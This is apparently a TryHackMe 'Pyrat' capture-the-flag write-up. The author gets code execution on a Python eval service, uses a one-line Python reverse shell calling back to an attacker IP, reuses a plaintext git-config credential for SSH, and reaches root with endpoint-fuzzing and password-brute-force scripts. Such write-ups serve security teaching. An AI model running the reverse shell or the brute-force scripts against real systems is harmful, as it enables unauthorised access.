TryHackMe - Pyrat

Description: Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability.

Title Pyrat
Difficulty Easy
Authors TryHackMe & josemlwdf
Tags python, rce, privesc

Enumeration

Nmap

$ sudo nmap -p- --min-rate 5000 -Pn pyrat.thm
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 15:39 +07
Nmap scan report for pyrat.thm (10.10.187.125)
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
$ sudo nmap -sC -A -sV -Pn -p 21,8000 pyrat.thm
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 15:40 +07
Nmap scan report for pyrat.thm (10.10.187.125)
Host is up (0.27s latency).

PORT     STATE  SERVICE  VERSION
21/tcp   closed ftp
8000/tcp open   http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions:
|     invalid syntax (<string>, line 1)
|   GetRequest:
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     name 'OPTIONS' is not defined
|   Help:
|_    name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/16%Time=670F7BF4%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20d
SF:efined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain
SF:\x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<s
SF:tring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20can
SF:not\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'
SF:\x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\
SF:x20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20stri
SF:ng\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"
SF:source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(He
SF:lp,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"inval
SF:id\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid
SF:\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x2
SF:0code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D
SF:,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(
SF:JavaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20by
SF:tes\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null
SF:\x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/16%OT=8000%CT=21%CU=32621%PV=Y%DS=2%DC=T%G=Y%TM=
OS:670F7CB3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%T
OS:S=A)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW6%O2=M
OS:508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN
OS:(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F50
OS:7%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(
OS:R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   270.78 ms 10.9.0.1
2   278.15 ms pyrat.thm (10.10.187.125)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.51 seconds

Port 8000

Based on the description of the room, the service Python executes via HTTP server is vulnerable. I used telnet to connect with the target server on port 8000 and perform a few attempts at the command line to verify it is running with Python syntax:

$ telnet pyrat.thm 8000
Trying 10.10.187.125...
Connected to pyrat.thm.
Escape character is '^]'.
?
invalid syntax (<string>, line 1)
help

print('hello')
hello

^C^]
telnet> quit
Connection closed.

Since the target service was verified, I use a Python reverse shell to establish a connection back to my own machine:

socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.68.89",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.68.89] from (UNKNOWN) [10.10.31.104] 49556
$

Vulnerability Exploit

Privilege Escalation 1

First of all, I spawned a tty shell:

$ whoami;id
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ export TERM=xterm
export TERM=xterm
www-data@Pyrat:~$ ^Z
zsh: suspended  nc -lvnp 4444

┌──(kali㉿kali)-[~/TryHackMe/Pyrat]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 4444
                               stty rows 38 columns 116
www-data@Pyrat:~$ pwd; ls -lht
/root

Navigate to home directory and easily found only 1 target user for the privilege escalation process:

www-data@Pyrat:/$ cd /home
www-data@Pyrat:/home$ ls -lht
total 4.0K
drwxr-x--- 5 think think 4.0K Jun 21  2023 think

However, the working directory of think user does not allow anyone else to access. Therefore, I start to find the relative files that belong to this user:

www-data@Pyrat:/home$ find / -user think -type f 2>/dev/null
/opt/dev/.git/objects/0a/3c36d66369fd4b07ddca72e5379461a63470bf
/opt/dev/.git/objects/ce/425cfd98c0a413205764cb1f341ae2b5766928
/opt/dev/.git/objects/56/110f327a3265dd1dcae9454c35f209c8131e26
/opt/dev/.git/COMMIT_EDITMSG
/opt/dev/.git/HEAD
/opt/dev/.git/description
/opt/dev/.git/hooks/pre-receive.sample
/opt/dev/.git/hooks/update.sample
/opt/dev/.git/hooks/post-update.sample
/opt/dev/.git/hooks/pre-applypatch.sample
/opt/dev/.git/hooks/pre-commit.sample
/opt/dev/.git/hooks/pre-merge-commit.sample
/opt/dev/.git/hooks/prepare-commit-msg.sample
/opt/dev/.git/hooks/applypatch-msg.sample
/opt/dev/.git/hooks/fsmonitor-watchman.sample
/opt/dev/.git/hooks/commit-msg.sample
/opt/dev/.git/hooks/pre-rebase.sample
/opt/dev/.git/hooks/pre-push.sample
/opt/dev/.git/config
/opt/dev/.git/info/exclude
/opt/dev/.git/logs/HEAD
/opt/dev/.git/logs/refs/heads/master
/opt/dev/.git/refs/heads/master
/opt/dev/.git/index

Navigate to the /opt/dev/.git directory, I continue to use grep command to verify whether there is any information that contains the username inside the git workplace, and luckily it it:

www-data@Pyrat:/home$ cd /opt/dev/.git/
www-data@Pyrat:/opt/dev/.git$ ls -lht
total 44K
-rw-rw-r-- 1 think think   21 Jun 21  2023 COMMIT_EDITMSG
drwxrwxr-x 3 think think 4.0K Jun 21  2023 logs
drwxrwxr-x 7 think think 4.0K Jun 21  2023 objects
-rw-rw-r-- 1 think think  296 Jun 21  2023 config
-rw-rw-r-- 1 think think  145 Jun 21  2023 index
drwxrwxr-x 2 think think 4.0K Jun 21  2023 branches
-rw-rw-r-- 1 think think   73 Jun 21  2023 description
-rw-rw-r-- 1 think think   23 Jun 21  2023 HEAD
drwxrwxr-x 2 think think 4.0K Jun 21  2023 hooks
drwxrwxr-x 2 think think 4.0K Jun 21  2023 info
drwxrwxr-x 4 think think 4.0K Jun 21  2023 refs
www-data@Pyrat:/opt/dev/.git$ grep -R "think"
config:         username = think
www-data@Pyrat:/opt/dev/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = _TH1NKINGPirate$_

Despite there being the credentials of the github account, it probably would be re-used as the local password of this user on this machine. I decided to make an attempt, and one more time, it worked:

$ ssh think@pyrat.thm
think@pyrat.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 17 Oct 2024 02:05:56 PM UTC

  System load:  0.08              Processes:             113
  Usage of /:   46.8% of 9.75GB   Users logged in:       0
  Memory usage: 61%               IPv4 address for eth0: 10.10.31.104
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Thu Jun 15 12:09:31 2023 from 192.168.204.1
think@Pyrat:~$ whoami;id;pwd
think
uid=1000(think) gid=1000(think) groups=1000(think)
/home/think
think@Pyrat:~$ ls -lht
total 8.0K
drwx------ 3 think think 4.0K Jun 21  2023 snap
-rw-r--r-- 1 root  think   33 Jun 15  2023 user.txt
think@Pyrat:~$ cat user.txt
[REDACTED]

Privilege Escalation 2

Get back to the git repository, I use git command to enumerate the status and easily found an interested file:

think@Pyrat:/opt/dev/.git$ cd ../
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")

Simply restoring that file and try to understand the script:

think@Pyrat:/opt/dev$ git restore pyrat.py.old
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

From my understanding, if I hit the correct endpoint on port 8000, the server would response in different ways:

  • “shell”: The server would establish a shell connection with pty.spawn just like I used the reverse script
  • the other endpoints: could lead to another process that potentially leads me to escalate my privilege

So on, I write a simple script using an endpoint wordlist to send them to the target sever on port 8000:

import socket

def fuzz_endpoints(ip, port, endpoints):
    for endpoint in endpoints:
        try:
            client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client_socket.connect((ip, port))

            print(f"Testing: {endpoint}")
            client_socket.sendall(endpoint.encode() + b'\n')

            response = client_socket.recv(1024)
            print(f"Response from {endpoint}: {response.decode()}\n")

            client_socket.close()
        except Exception as e:
            print(f"Error with {endpoint}: {e}")

# List of potential endpoints to fuzz
endpoint_list = []

with open("/usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt", "r") as wordlist:
    endpoint_list.extend(wordlist.readlines())

# Target IP and port (replace with actual values)
target_ip = "pyrat.thm"
target_port = 8000

# Fuzz the endpoints
fuzz_endpoints(target_ip, target_port, endpoint_list)

And I successfully hit the correct endpoint after a minute:

$ python3 fuzzing_endpoints.py
Testing: 0
Response from 0:

Testing: 1
Response from 1:

Testing: 1.0
Response from 1.0:

...

Testing: account
Response from account: name 'account' is not defined

Testing: accounts
Response from accounts: name 'accounts' is not defined

Testing: activate
Response from activate: name 'activate' is not defined

Testing: add
Response from add: name 'add' is not defined

Testing: address
Response from address: name 'address' is not defined

Testing: admin
Response from admin: Password:

However, the target server required a password. The following script would be used to crack the password within a wordlist:

import socket
import time

# Define the target host and port
HOST = "pyrat.thm"
PORT = 8000

# File containing the passwords
password_file = "/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt"

# Set a timeout duration (in seconds)
TIMEOUT = 5

def socket_connect():
    # Establish a socket connection
    try:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.settimeout(TIMEOUT)  # Set timeout
        client_socket.connect((HOST, PORT))
        print(f"Connected to {HOST}:{PORT}")
        return client_socket
    except socket.timeout:
        print(f"Connection to {HOST}:{PORT} timed out.")
        return None
    except Exception as e:
        print(f"Failed to connect: {e}")
        return None

def login(client_socket):
    # Send the initial payload as 'admin'
    client_socket.sendall(b"admin\n")
    print("Sent username: admin")

    # Read server response after sending the username
    try:
        response = client_socket.recv(1024)
        print(response.decode('ascii'))
    except socket.timeout:
        print("Timeout during login step. No response from the server.")
        return False
    return True

def try_passwords(client_socket):
    # Open the password file
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()  # Clean up newline characters
            if not password:
                continue

            try:
                # Send password to the server
                client_socket.sendall(password.encode('ascii') + b"\n")
                print(f"Trying password: {password}")

                # Read server response
                response = client_socket.recv(1024)
                decoded_response = response.decode('ascii')

                # Print the server response
                print(decoded_response)

                # Check if the password was accepted (no "password" prompt anymore)
                if "password" not in decoded_response.lower():
                    print(f"Password found: {password}")
                    break
            except socket.timeout:
                print("Timeout during password attempt. Re-establishing connection...")
                client_socket.close()
                client_socket = socket_connect()
                if client_socket:
                    if not login(client_socket):
                        break
                else:
                    break
            time.sleep(1)  # Avoid overwhelming the server with too many requests

def main():
    client_socket = socket_connect()
    if client_socket:
        if login(client_socket):
            try_passwords(client_socket)
        client_socket.close()

if __name__ == "__main__":
    main()

Waiting for the process and finally get the correct password:

$ python3 crack_passwd.py
Connected to pyrat.thm:8000
Sent username: admin
Password:

Trying password: 123456
Password:

Trying password: admin
Password:

Trying password: 12345678
Timeout during password attempt. Re-establishing connection...
Connected to pyrat.thm:8000
Sent username: admin
Password:

Trying password: 123456789
Password:

Trying password: 1234
Password:

Trying password: Pass@123
Password:

Trying password: ******
Password:

Trying password: 112233
Timeout during password attempt. Re-establishing connection...
Connected to pyrat.thm:8000
Sent username: admin
Password:

Trying password: 102030
Password:

Trying password: ubnt
Password:

Trying password: [REDACTED]
Welcome Admin!!! Type "shell" to begin

Password found: [REDACTED]

Since the password was found, it easily to get the root user and capture the final flag:

-rwxr-xr-x  1 root root 5.3K Apr 15  2024 pyrat.py
drwxrwx---  7 root root 4.0K Apr 15  2024 .
-rw-rw-rw-  1 root root  11K Apr 15  2024 .viminfo
drwxr-xr-x  3 root root 4.0K Jan  4  2024 .local
drwx------  3 root root 4.0K Dec 22  2023 .config
drwxr-xr-x 18 root root 4.0K Dec 22  2023 ..
-rw-r--r--  1 root root   29 Jun 21  2023 .gitconfig
drwx------  2 root root 4.0K Jun 21  2023 .cache
-rwxrwx---  1 root root 3.2K Jun 21  2023 .bashrc
-rw-r--r--  1 root root   75 Jun 15  2023 .selected_editor
-rw-r-----  1 root root   33 Jun 15  2023 root.txt
drwxrwx---  3 root root 4.0K Jun  2  2023 snap
lrwxrwxrwx  1 root root    9 Jun  2  2023 .bash_history -> /dev/null
drwxrwx---  2 root root 4.0K Jun  2  2023 .ssh
-rwxrwx---  1 root root  161 Dec  5  2019 .profile
# # cat root.txt
cat root.txt

[REDACTED]